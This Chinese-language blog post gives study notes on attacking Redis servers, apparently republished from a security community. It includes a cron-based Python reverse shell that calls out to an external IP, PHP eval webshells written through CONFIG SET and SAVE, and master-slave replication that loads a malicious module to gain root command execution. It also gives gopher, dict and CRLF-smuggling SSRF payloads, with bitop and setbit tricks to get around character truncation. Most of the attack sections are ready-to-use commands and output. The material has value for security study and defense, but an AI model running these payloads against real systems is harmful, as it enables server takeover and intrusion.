redis安全学习小记

Timeline Sec 前天

> **编者荐语：**
>
> 好文，推荐收藏！

以下文章来源于xray社区 ， 作者郁离歌丶

xray社区

一款免费的威胁测试工具，支持主动、被动多种检测方式，自备盲打平台、可以灵活定...

基础

https://www.runoob.com/redis/redis-tutorial.html

环境： ubuntu 安装redis

```
$sudo apt-get update
$sudo apt-get install redis-server
$service redis-server start
$redis-cli
```

redis连接命令

`redis-cli -h 127.0.0.1 -p 6379`

设置键值对:

`set myKey abc`

取出键值对:

`get myKey`

```
127.0.0.1:6379> set yulige 123123
OK
127.0.0.1:6379> get yulige
"123123"
```

通过nc监听或者socat抓包的方法 `socat -v tcp-listen:6378,fork tcp-connect:localhost:6379`

或者是

tcpdump `tcpdump -i eth0 port 6379 -o nopass.pcap`
可以发现发送的数据为

```
*3
$3
set
$6
yulige
$6
123123
和
*2
$3
get
$6
yulige
```

获取配置

`CONFIG GET *`

编辑配置

你可以通过修改 redis.conf 文件或使用 `CONFIG set` 命令来修改配置。
https://www.runoob.com/redis/redis-conf.html

数据类型

Redis支持五种数据类型：string（字符串），hash（哈希），list（列表），set（集合）及zset(sorted set：有序集合)。

服务器配置

redis 学习笔记 | 安装与启动

```
sed -i 's/daemonize no/daemonize yes/g' /etc/redis-5.0.8/redis.conf
```

后台运行redis

认证

redis设置密码的两种方法：
redis-cli连上去
`config set requirepass 123456`
或者修改redis.conf

```
sed -i 's/# requirepass foobared/requirepass foobared/g' /etc/redis/redis.conf
```

第二种方法设置完之后需要重启redis。

然后再用redis-cli去连的时候需要先执行AUTH命令才可以执行其他命令。
`AUTH PASSWORD`
redis-cli -a的参数本质是就是AUTH命令。然后因为客户端将命令发送到Redis服务器的流程为：

客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。
https://www.anquanke.com/post/id/181599
所以在ssrf的时候只要在前面加上添加
`%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A`，即可。

数据库备份

Redis SAVE 命令用于创建当前数据库的备份。常见利用其来写文件达到getshell的目的。

```
redis-cli -h 127.0.0.1 flushall #清空所有key
redis-cli -h 127.0.0.1 config set dir /var/www #设置数据库备份保存的目录
redis-cli -h 127.0.0.1 config set dbfilename shell.php #设置数据库备份保存的文件名
redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>" #将想写入的内容写进key
```

```
值
redis-cli -h 127.0.0.1 save # 备份
```

主从复制

主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。

默认情况下，每台Redis服务器都是主节点；且一个主节点可以有多个从节点(或没有从节点)，但一个从节点只能有一个主节点。

https://www.cnblogs.com/kismetv/p/9236731.html#t2

输入命令 `slaveof host port` 之后发生了哪些事情呢?

```
> 2020/04/10 09:30:01.182183  length=14 from=0 to=13
*1\r
$4\r
PING\r
< 2020/04/10 09:30:01.182422  length=7 from=0 to=6
+PONG\r
> 2020/04/10 09:30:01.182595  length=49 from=14 to=62
*3\r
$8\r
REPLCONF\r
$14\r
listening-port\r
$4\r
6379\r
< 2020/04/10 09:30:01.182875  length=5 from=7 to=11
+OK\r
> 2020/04/10 09:30:01.183002  length=59 from=63 to=121
*5\r
$8\r
REPLCONF\r
$4\r
capa\r
$3\r
eof\r
$4\r
capa\r
$6\r
psync2\r
< 2020/04/10 09:30:01.183203  length=5 from=12 to=16
+OK\r
> 2020/04/10 09:30:01.183300  length=72 from=122 to=193
*3\r
```

```
$5\r
PSYNC\r
$40\r
c8848089bebcde2b8d5a19e751a7bc4a260c88f8\r
$4\r
1275\r
< 2020/04/10 09:30:01.183838  length=59 from=17 to=75
+FULLRESYNC da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2 1274\r
< 2020/04/10 09:30:01.280693  length=197 from=76 to=272
$191\r
REDIS0009.      redis-ver.5.0.8.
redis-bits.@..ctime..<.^.\bused-mem.P.....repl-stream-db...\arepl-
id(da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2.\vrepl-offset....\faof-
preamble.........{.{....{..l..]d.^>   2020/04/10   09:30:01.284087     length=1
from=194 to=194

> 2020/04/10 09:30:02.184067  length=37 from=195 to=231
*3\r
$8\r
REPLCONF\r
$3\r
ACK\r
$4\r
1274\r
```

转换成rediscommand是

```
> PING
PONG
> REPLCONF listening-port 4444
OK
> replconf capa eof capa psync2
OK
> psync c8848089bebcde2b8d5a19e751a7bc4a260c88f8 1275
+FULLRESYNC da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2 1274 +[rdb备份]
```

以上就是主从复制的全过程，可以类似于数据库备份了，

然后因为redis采用的resp协议的验证非常简洁，所以可以采用python模拟一个redis服务的交互，并且将备份的rdb数据库备份文件内容替换为恶意的so文件，然后就会自动在节点redis中生成exp.so,再用module load命令加载so文件即可完成rce，这就是前段时间非常火的基于主从复制的redisrce的原理

基于redis主从复制的rce，可以说已经是众所周知的了。

参考：https://paper.seebug.org/975/

正常写crontab

```
127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n*       *       *       *       *       /usr/bin/python       -c       'import
socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK
```

而这种方式是通过写文件来完成GetShell的，这种方式的主要问题在于，redis保存的数据并不是简单的json或者是csv，所以写入的文件都会有大量的无用数据，形似

```
[padding]
*       *       *       *       *       /usr/bin/python       -c       'import
socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]
```

正是因为redis会在写入的数据前面有padding，所以我想用redis本身的功能去写入so文件来完成rce是不可能了，因为elf格式的严格性，但是在后面padding倒是并无影响。

同理，在主从复制rce这个过程中，如果是两个正常的redis服务之间建立联系，仅仅是相当于的数据库备份的复制，而在主节点加载的module是不会到节点去的。所以在上传so这条路上只能凭借于web应用的上传，经过测试，只需要有读权限即可，而www-data默认写入的文件权限是644，**所以实战中完全可以结合上传来完成攻击。**

主从复制的利用场景在于**节点服务可以访问主节点**，因为只要主节点可以返回包就行了，复制数据库是从返回的包里面去获取的。所以只要防火墙允许可以出来外网就行了。

然后配合ssrf去攻击redis。

在ssrf的攻击redis的过程中，若redis版本在4.0以上，则利用主从复制功能传入so文件完成rce。若在4以下，除了直接用gopher发包写文件之外，**同样可以结合主从复制来传入key值从而写文件来getshell。**

补充：

每个Redis节点(无论主从)，在启动时都会自动生成一个随机ID(每次启动都不一样)，由40个随机的十六进制字符组成；runid用来唯一识别一个Redis节点。通过info Server命令，可以查看节点的runid：

```
redis-cli info server | grep "run_id"
```

如果从节点之前未执行过slaveof或最近执行了 `slaveof no one` 则从节点发送命令为 `psync ? -1` ，向主节点请求全量复制；
如果从节点之前执行了slaveof，则发送命令为 `psync <runid> <offset>` ，其中runid为上次复制的主节点的runid，offset为上次复制截止时从节点保存的复制偏移量。

加载动态链接库

https://zhuanlan.zhihu.com/p/44685035

以往我们想给 Redis 加个功能或类似事务的东西只能用 Lua 脚本，这个东西没有实现真正的原子性，另外也无法使用底层的 API ，实质上比单纯的命令脚本提升有限。

Redis 4.0 终于加入了模块，暴露了必要的 API，并且有自动内存管理（大大减轻编写负担），基于 C99（C++ 或者其它语言的 C 绑定接口当然也可以）。

`MODULE LOAD /path/to/mymodule.so` 在 redis-cli 中执行，注意这里 mymodule.so 是文件名

rce

其实本质是 **Redis Lua Sandbox Escape** 绕过的代码具体见 https://github.com/n0b0dyCN/redis-rogue-server/tree/master/RedisModulesSDK

```
127.0.0.1:6379> module load /tmp/exppadding.so
OK
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
```

参考
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
和自己实验 发现4以上版本通杀，redis作者也没有修的意思 ，因为 http://antirez.com/news/96
作者觉得如果被登陆上redis之后可能产生的安全性问题他就不管了，他没必要去把这百分之1的功能复杂化。

综上所述 ， redis4.0以上添加了加载动态链接库的添加扩展功能，而使用Redis Lua Sandbox Escape的exp可以执行命令，自定义了system.exec函数来完成rce，并且将结果回显。

dict协议和gopher协议攻击redis

gopher

做一下对比：直连上redis执行 `set 1 123`

```
> 2020/04/10 14:15:14.919897  length=29 from=62 to=90
*3\r
$3\r
set\r
$1\r
1\r
$3\r
123\r
< 2020/04/10 14:15:14.920096  length=5 from=19 to=23
+OK\r
```

什么是gopher协议。它是互联网上使用的分布型的文件搜集获取网络协议。gopher支持多行。因此要在传输的数据前加一个无用字符。比如 `gopher://ip:port/_` 通常用 `_` ，并不是只能用 `_` ，gopher协议会将第一个字符”吃掉”。

gopher协议的话直接就当socket包发就行，注意一下redis是RESP协议的规则，上面说了。resp协议规则
https://www.anquanke.com/post/id/181599

> 客户端将命令发送到Redis服务器的流程为
>
> 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串，按以下方式编码：一个$字节后跟组成字符串的字节数（一个前缀长度），由CRLF终止。实际的字符串数据。最终的CRLF。

```
yulige@yulige-ubuntu:~$ curl "gopher://0.0.0.0:4444/_*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%243%0d%0A123"
+OK
```

```
> 2020/04/10 14:16:55.477293  length=29 from=0 to=28
*3\r
```

```
$3\r
set\r
$1\r
1\r
$3\r
123\r
< 2020/04/10 14:16:55.477561  length=5 from=0 to=4
+OK\r
```

`get key` 也可以正常获取到字符串123，完全一致。

dict

dict协议的话之前了解的不多，只知道可以用来探测端口信息
`curl dict://localhost:22/info`，网上搜了一下大概是这么描述的dict协议有一个功能：`dict://serverip:port/name:data` 向服务器的端口请求 `name data`，并在末尾 自动补上rn(CRLF)结果测试其实还会发送一个QUIT。
为了进一步理解dict协议，我翻了一下rfc文档，发现我之前的理解都是错误的。

```
Command lines must be complete with all required parameters, and may not
contain more than one command.
```

说明了 禁止多行命令。尝试了一下也没法crlf绕过去，他是把一整个command字符串化了，没法逃逸出来。
测试：

```
yulige@yulige-ubuntu:~$ curl "dict://0.0.0.0:6379/auth yuligesec\r\ninfo"
-NOAUTH Authentication required.
-ERR invalid password
+OK
```

收到的：

```
CLIENT libcurl 7.63.0
auth yuligesec\r\ninfo
QUIT
```

正因如此，dict协议没法攻击需要认证的redis。

使用dict协议需要用:来作为分隔.经过测试也可以不加，直接空格即可。rfc里面也是这么写的。

```
yulige@yulige-ubuntu:~$ curl "dict://0.0.0.0:4444/set:1:123"
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME
connection-name)
+OK
+OK
```

可以看到居然返回了2个ok，说明发送了两条命令。

```
> 2020/04/10 14:23:28.776420  length=40 from=0 to=39
CLIENT libcurl 7.63.0\r
set 1 123\r
QUIT\r
< 2020/04/10 14:23:28.777950  length=99 from=0 to=98
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME
connection-name)\r
+OK\r
+OK\r
```

可以看到其实发送了3行命令，而且并不是RESP协议格式的。第一行应该是代表发出的cli的工具和版本，rfc上也是这么写的

```
This command allows the client to provide information about itself for
possible logging and statistical purposes.  All clients SHOULD send this
command after connecting to the server.  All DICT servers MUST implement this
command (note, though, that the server doesn't have to do anything with the
information provided by the client).
```

这条命令是客户端提供有关其自身的信息，以便进行可能的日志记录和统计。连接到服务器后，所有客户端都应发送此命令。根据这里描述可以发现CLIENT命令貌似是必不可少的，但是实验告诉我并不是这样。

而第二行是cli中执行的命令，第三行是dict协议带上的QUIT。

用php中的curl看看是什么包。

```
<?php
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, "dict://192.168.248.128:4444/set:1:123");
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
   $output = curl_exec($ch);
   echo $output;
   curl_close($ch);
```

结果是

```
CLIENT libcurl 7.56.0
set 1 123
QUIT
```

和命令行的curl完全一样。

突然想到如果用gopher发出这个包会如何。先测试

```
yulige@yulige-ubuntu:~$ curl "gopher://0.0.0.0:6379/_CLIENT%20libcurl%207.63.0%0D%0Aauth%20yuligesec%0A%0Dinfo%0D%0AQUIT"
```

正常返回info信息。
而如果把CLIENT去掉呢?

```
yulige@yulige-ubuntu:~$ curl "gopher://0.0.0.0:6379/_auth%20yuligesec%0A%0Dinfo%0D%0AQUIT"
```

依然正常返回。也就是说确实直接给redis服务器发command也是可以的。此时测试版本为**3.0.6**换了一下**5.0.8**也是没问题的。

http协议打redis（protocol smuggle的思考）

既然直接发command也是可以的，那岂不是在http协议中的请求包里面包含command也可以呢。

在《【Blackhat】SSRF的新纪元：在编程语言中利用URL解析器》 中orange有提到利用http协议中的crlf来发送rediscommand的案例，以及提到了一个nodejs中过滤了crlf但是依然可以使用 `http://127.0.0.1:6379/ -SLAVEOF @orange.tw@ 6379-` 仍然能够进行protocol smuggle。

然后自己试着构造了一个http请求包然后用nc发送，发现无论怎么构造都无法获取返回包（迷惑?啥情况，明明包都一模一样了）

用curl

```
yulige@yulige-ubuntu:~$ curl -v "http://0.0.0.0:6378/"
*   Trying 0.0.0.0...
* TCP_NODELAY set
* Connected to 0.0.0.0 (127.0.0.1) port 6378 (#0)
> GET / HTTP/1.1
```

```
> Host: 0.0.0.0:6378
> User-Agent: curl/7.63.0
> Accept: */*
>
-ERR wrong number of arguments for 'get' command
* Closing connection 0

---------------------------------------------
> 2020/05/24 11:16:59.054108  length=76 from=0 to=75
GET / HTTP/1.1\r
Host: 0.0.0.0:6378\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
< 2020/05/24 11:16:59.054534  length=50 from=0 to=49
-ERR wrong number of arguments for 'get' command\r
```

用nc

```
yulige@yulige-ubuntu:~$ cat httprequest | nc 127.0.0.1 6378
yulige@yulige-ubuntu:~$

---------------------------------------------
> 2020/05/24 11:20:10.739862  length=78 from=0 to=77
GET / HTTP/1.1\r
Host: 127.0.0.1:6378\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
```

肉眼看起来数据包一模一样了，但是nc发送出去的没有响应包，上网查了一下资料发现应该这样去发送文件内容。

```
nc 127.0.0.1 6378 <httprequest
```

然后发现时灵时不灵？？？，有时候能收到返回包有时候收不到。

```
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
-ERR wrong number of arguments for 'get' command
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
-ERR wrong number of arguments for 'get' command
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
-ERR wrong number of arguments for 'get' command
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
-ERR wrong number of arguments for 'get' command
```

```
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
-ERR wrong number of arguments for 'get' command
```

我直接就一个大问号?啥情况啊...希望有师傅指点一下，已经超出了我的知识范围。
然后再用nc发送成功一次数据包看看

```
yulige@yulige-ubuntu:~$ cat httprequest
GET / HTTP/1.1
Host: 127.0.0.1:6378
set 133 123
User-Agent: curl/7.63.0
Accept: */*

-----------------------------------------------
> 2020/05/24 11:44:54.783301  length=91 from=0 to=90
GET / HTTP/1.1\r
Host: 127.0.0.1:6378\r
set 133 123\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
< 2020/05/24 11:44:54.783573  length=50 from=0 to=49
-ERR wrong number of arguments for 'get' command\r
```

然后redis连上去看123这个键是否存在，发现并没有。。

然后尝试使用一个存在crlf的发送http请求的python模块来测试吧。

推荐一个跑fuzz的项目
https://github.com/orangetw/Tiny-URL-Fuzzer

参考：
https://blog.csdn.net/qq_40989258/article/details/104735997

```
import urllib2
url  =  "http://127.0.0.1:6378?a=1  HTTP/1.1\r\nCRLF-injection:  test\r\nTEST:
123:6378/test/?test=a"htmlpage = urllib2.urlopen(url).read()print htmlpage
```

抓包

```
> 2020/05/24 11:59:47.666102  length=181 from=0 to=180
GET /?a=1 HTTP/1.1\r
CRLF-injection: test\r
TEST: 123:6378/test/?test=a HTTP/1.1\r
Accept-Encoding: identity\r
```

```
Host: 127.0.0.1:6378\r
Connection: close\r
User-Agent: Python-urllib/2.7\r
\r
< 2020/05/24 11:59:47.668209  length=161 from=0 to=160
-ERR wrong number of arguments for 'get' command\r
-ERR unknown command 'CRLF-injection:'\r
-ERR unknown command 'TEST:'\r
-ERR unknown command 'Accept-Encoding:'\r
```

效果还不错，测试写入一个key试试。

```
yulige@yulige-ubuntu:~$ cat testrediscrlf.py
import urllib2
url = "http://127.0.0.1:6378?a=1 HTTP/1.1\r\nset 1234 123\r\ntest: 123"
htmlpage = urllib2.urlopen(url).read()
print htmlpage
---------------------------------
> 2020/05/24 12:27:42.221136  length=155 from=0 to=154
GET /?a=1 HTTP/1.1\r
set 1234 123\r
test: 123 HTTP/1.1\r
Accept-Encoding: identity\r
Host: 127.0.0.1:6378\r
Connection: close\r
User-Agent: Python-urllib/2.7\r
\r
< 2020/05/24 12:27:42.232387  length=126 from=0 to=125
-ERR wrong number of arguments for 'get' command\r
+OK\r
-ERR unknown command 'test:'\r
-ERR unknown command 'Accept-Encoding:'\r
---------------------------
127.0.0.1:6379> keys *
1) "1234"
127.0.0.1:6379> get 1234
"123"
```

确实是可以的，因为从dict协议中获得的思路，一行command就能发送过去，不需要转换为resp格式。

所以如果限制了协议类型为http或者其他的协议，依然可以用这个思路去攻击redis。只需要一个crlf即可。

写webshell

redis-cli写webshell

若redis端口开放,且允许外连。

参考:

https://daolgts.github.io/2019/10/10/redis%20rce/

redis3.2版本后新增 protected-mode 配置，默认是 yes，即开启,外部网络无法连接 redis 服务。

我 ubuntu 本地安装的3.0.8,默认有 `bind 127.0.0.1` 的配置，禁止外连。找一个能写的目录，利用数据库备份功能getshell。

```
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<?php @eval($_POST[1]);?>"
OK
127.0.0.1:6379> save
```

看一下shell.php的内容

```
REDIS0006webshell<?php @eval($_POST[1]);?>▒▒I▒s▒.;▒
```

ssrf写webshell

直接写入(失败)

如果是ssrf呢，会和直接写入webshell一样吗?

```
root@yulige-ubuntu:/#  curl  -g    'dict://0.0.0.0:6379/set  webshell  "<?php
@eval($_POST[1]);?>"'
```

收到的却是以下内容。貌似是 `?` 这里截断掉了。

```
CLIENT libcurl 7.47.0
set webshell '<
QUIT
```

url编码看看,收到的却是

```
CLIENT libcurl 7.47.0
set%20webshell%20%22%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%3F%3E%22
QUIT
```

看起来并不能url编码。

网上查了一下资料并结合自己测试，
`?`之后的内容都没法获取到。那么如何去绕过呢。

转义绕过?截断

dvpwriteup曾经在一个ctf中出现过用转义编码去绕过的

> 写入恶意代码：（<? 等特殊符号需要转义，不然问号后面会导致截断无法写入）
> dict://0:6379/set:shell:"\x3C\x3Fphp\x20echo `$_GET[x]` \x3B\x3F\x3E"

先直接拿上面这个的payload做测试：

```
CLIENT libcurl 7.47.0
set shell "\x3C\x3Fphp\x20echo`$_GET[x]`\x3B\x3F\x3E"
QUIT
```

cli连上去看看。

```
127.0.0.1:6379> get shell
"<?php echo`$_GET[x]`;?>"
```

成功写入。此时测试版本为**3.0.6**换了一下**5.0.8**同样写入成功。写入文件之后也同样是正常的webshell。

主从复制绕过?截断

当`?`截断的时候可以使用主从复制的方法将key值从主节点复制过来。然后节点再执行备份数据库操作写入webshell。

主节点

```
127.0.0.1:4444> set shell "<?php @eval($_POST[1]);?>"
OK
```

节点

```
dict://0:6379/slaveof:127.0.0.1:4444
dict://0:6379/config:set:dir:/var/www/html
```

```
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one
```

查看一下文件是成功写入shell了。

当然了如果可以出外网也可以直接主从复制rce，这一点在前面就说过了。只要用python起一个服务去模拟redis的返回，并且在全量复制的时候把数据库文件替换成so文件即可。

bitop命令绕过?截断

前段时间[zer0pts CTF 2020] urlapp出了一道考bitop命令的题。

- BITOP AND destkey srckey1 srckey2 srckey3 ... srckeyN
- BITOP OR destkey srckey1 srckey2 srckey3 ... srckeyN
- BITOP XOR destkey srckey1 srckey2 srckey3 ... srckeyN
- BITOP NOT destkey srckey

可以将key做位运算操作并存储在新的key中。

而在一次“SSRF→RCE”的艰难利用中，就是用bitop去绕过的 `\x00`

```
dict://0:6379/set:shell:"\xc3\xc0\x8f\x97\x8f\xdf\xbf\x9a\x89\x9e\x93\xd7\xdb\
xa0\xaf\xb0\xac\xab\xa4\xce\xa2\xd6\xc4\xc0\xc1"
dict://0:6379/bitop:not:shell:shell
```

```
127.0.0.1:6379> get shell
"<?php @eval($_POST[1]);?>"
```

而在一次“SSRF→RCE”的艰难利用中末尾有提到可以用 `bitfield` ，这个的话和 `bitop` , `bitos` 是一个系列的command，bitfield命令可以将一个redis字符串看做是一个由二进制位组成的数组，并对这个数组中储存的长度不同的整数进行访问(被储存的整数无需对齐)。和bitop相比使用复杂很多，这里不再复现。

setbit命令绕过?截断

既然想明白关键是?截断的话其实方法也很多，能操作key就可以。这里举出一个 `command setbit` 。

https://www.runoob.com/redis/strings-setbit.html

Redis Setbit 命令用于对 key 所储存的字符串值，设置或清除指定偏移量上的位(bit)。

`?`的ascii是63，ascii62是`>`，二进制分别是`0b00011111`和`0b00011110`。所以按照前面的payload稍微改一下就是.使用setbit改动一位二进制即可把字符变成`?`，从而可写入webshell。

```
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK
```

后记

其实文章中几个比较新的点都没太多技术含量，但是却鲜有人提到或者提出，这也是我比较奇怪的一个点。志趣相投者，希望能共同探讨技术！